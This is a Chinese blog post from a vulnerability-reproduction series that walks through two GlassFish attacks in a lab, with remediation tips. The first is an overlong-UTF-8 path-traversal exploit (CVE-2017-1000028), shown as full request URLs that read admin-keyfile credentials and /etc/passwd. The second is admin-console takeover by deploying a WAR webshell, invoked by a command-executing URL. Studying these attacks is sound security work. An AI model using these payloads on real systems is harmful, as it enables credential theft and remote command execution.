写在前面:本文为漏洞复现系列GlassFish篇,复现的漏洞已vulhub中存在的环境为主。
欢迎大家点赞收藏,点点关注更好了hhhhhh
文章目录
简介
GlassFish 是用于构建 Java EE 5应用服务器的开源开发项目的名称。它基于 Sun Microsystems 提供的 Sun Java System Application Server PE 9 的源代码以及 Oracle 贡献的 TopLink 持久性代码。该项目提供了开发高质量应用服务器的结构化过程,以前所未有的速度提供新的功能。
默认端口:8080(Web应用端口,即网站内容),4848(GlassFish管理中心)
指纹信息:
Server: GlassFish Server Open Source Edition 4.1.2
X-Powered-By: Servlet/3.1 JSP/2.3 (GlassFish Server Open Source Edition 4.1.2 Java/Oracle Corporation/1.8)
GlassFish 任意文件读取(CVE-2017-1000028)
漏洞原理
java语言中会把%c0%af
解析为\uC0AF
,最后转义为ASCCII字符的/
(斜杠)。利用..%c0%af..%c0%af
来向上跳转,达到目录穿越、任意文件读取的效果。 计算机指定了UTF8编码接收二进制并进行转义,当发现字节以0开头,表示这是一个标准ASCII字符,直接转义,当发现110开头,则取2个字节 去掉110模板后转义。
java语言中会把%c0%ae
解析为\uC0AE
,最后转义为ASCCII字符的.
(点)。利用%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/
来向上跳转,达到目录穿越、任意文件读取的效果。
C0AF 转换位二进制为 110 00000 10 101111 ,110开头去掉摸板后为00000 101111 转换为10进制为47,ASSCI为/;C0AE同理。
影响范围
<=4.1.2版本
漏洞复现
下载4.1.2版本的GlassFish,解压后进入glassfish/bin目录下打开CMD窗口输入asadmin start-domain启动glassfish;asadmin stop-domain 停止glassfish。
访问:http://your-ip:8080
进入web应用界面;http://your-ip:4848
进入管理中心。
这里有个坑点,解压路径中不要有中文,否则管理中心界面一直进不去。
改完路径后,重新启动,成功进入管理中心,默认安装的密码为空。
首先在根目录下创建1.txt文件。
然后利用漏洞读取该文件,通过..%c0%af..%c0%af
来向上跳转,达到目录穿越,读取文件;最终测试访问链接如下:
http://localhost:4848/theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af1.txt
通过测试大概穿越9次路径跳至GlassFish的解压目录处;prototype去掉不影响;可有可无。
读admin-keyfile文件,该文件是储存admin账号密码的文件,爆破。
位置在glassfish/domains/domain1/config/admin-keyfile
访问路径为:
http://localhost:4848/theme/META-INF/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afdomains/domain1/config/admin-keyfile
Linux环境下:使用vulhub的docker环境启动。
https://192.168.255.128:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
修复建议
升级至最新版本或者4.1.2版本以上。
GlassFish 后台Getshell
漏洞原理
通过爆破或者弱口令进入后台后,可以部署war包来getshell。
影响范围
全版本管理中心登录账号弱口令
漏洞复现
默认安装的GlassFish管理中心是空密码的,无需登录,直接进入后台。
进入后台后 Applications,点击右边的deploy。
选中war包后上传,填写Context Root 这个关系到你访问的url,点击Ok。
访问http://127.0.0.1:8080/[Context Root]/[war包内的filename]
http://127.0.0.1:8080/getshell/1.jsp?pwd=123&i=ipconfig
修复建议
1.不开放后台给外网;
2.若开放 密码强度需设置 包含 大写字母,小写字母,数字,特殊字符,且长度大于10位。
总结
GlassFish存在的漏洞有很多,这里总结主要是对一些常见的漏洞复现和分析(主要是vulhub上的环境)当然了目前网上都有很多自动化的检测和利用工具,这里手动验证是为了加深印象;漏洞的原理很多都是参考大佬们的文章,个人其实还是有很多不是很理解(菜狗)这里对大佬们表示衷心的感谢。后续继续补充其他漏洞复现。